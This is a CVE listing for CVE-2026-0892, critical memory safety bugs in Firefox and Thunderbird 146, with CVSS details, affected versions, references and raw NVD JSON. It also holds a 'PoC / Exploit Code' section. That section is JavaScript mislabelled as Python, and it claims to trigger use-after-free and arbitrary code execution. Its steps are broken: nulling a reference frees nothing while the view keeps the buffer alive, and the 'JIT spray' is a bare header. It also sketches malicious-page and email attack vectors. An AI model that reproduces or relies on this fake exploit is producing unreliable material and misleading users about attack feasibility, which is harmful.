CVE-2026-0892

Description

Memory safety bugs present in Firefox 146 and Thunderbird 146. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 147 and Thunderbird 147.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 147

Mozilla Firefox ESR < 147

Mozilla Thunderbird < 147

Mozilla Thunderbird ESR < 147

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-0892 PoC - Memory Corruption in Firefox/Thunderbird
// This PoC demonstrates triggering memory safety bugs
// Note: Actual exploitation requires specific bug triggering

// Example trigger mechanism (conceptual)
function triggerMemoryCorruption() {
    // Allocate and manipulate objects to trigger memory corruption
    let arrays = [];
    for (let i = 0; i < 10000; i++) {
        arrays.push(new ArrayBuffer(1024 * 1024));
    }
    
    // Trigger garbage collection at critical moment
    // to cause use-after-free or double-free conditions
    
    // Example: Manipulate TypedArray backing store
    let buffer = new ArrayBuffer(4096);
    let view = new Uint8Array(buffer);
    
    // Deallocate buffer
    buffer = null;
    
    // Attempt to access deallocated memory through view
    // This may trigger memory corruption if not properly handled
    try {
        view[0] = 0x41;  // May cause arbitrary code execution
    } catch (e) {
        console.log('Memory corruption triggered: ' + e);
    }
}

// WebAssembly JIT spraying technique (if applicable)
function wasmJitSpray() {
    const wasmCode = new Uint8Array([
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00
    ]);
    // More sophisticated JIT spraying code would be needed
    // to achieve actual code execution
}

// Trigger via iframe
function createMaliciousPage() {
    const html = `
    <html>
    <head><title>CVE-2026-0892 PoC</title></head>
    <body>
        <script>
            triggerMemoryCorruption();
        </script>
    </body>
    </html>
    `;
    return html;
}

// For Thunderbird, email-based trigger would use:
// - Malicious HTML email with embedded JavaScript
// - Crafted MIME attachments causing parsing errors
// - Buffer overflow in email content processing

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0892
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0892
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0892/
[4] VulDB https://vuldb.com/cve/CVE-2026-0892
[5] https://bugzilla.mozilla.org/buglist.cgi?bug_id=1986912%2C1996718%2C1999633%2C2001081%2C2004443
[6] https://www.mozilla.org/security/advisories/mfsa2026-01/
[7] https://www.mozilla.org/security/advisories/mfsa2026-04/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0892", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:39.723", "lastModified": "2026-04-13T15:17:18.797", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Memory safety bugs present in Firefox 146 and Thunderbird 146. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 147 and Thunderbird 147."}, {"lang": "es", "value": "Bugs de seguridad de memoria presentes en Firefox 146 y Thunderbird 146. Algunos de estos bugs mostraron evidencia de corrupción de memoria y presumimos que con suficiente esfuerzo algunos de estos podrían haber sido explotados para ejecutar código arbitrario. Esta vulnerabilidad afecta a Firefox < 147 y Thunderbird < 147."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/buglist.cgi?bug_id=1986912%2C1996718%2C1999633%2C2001081%2C2004443", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}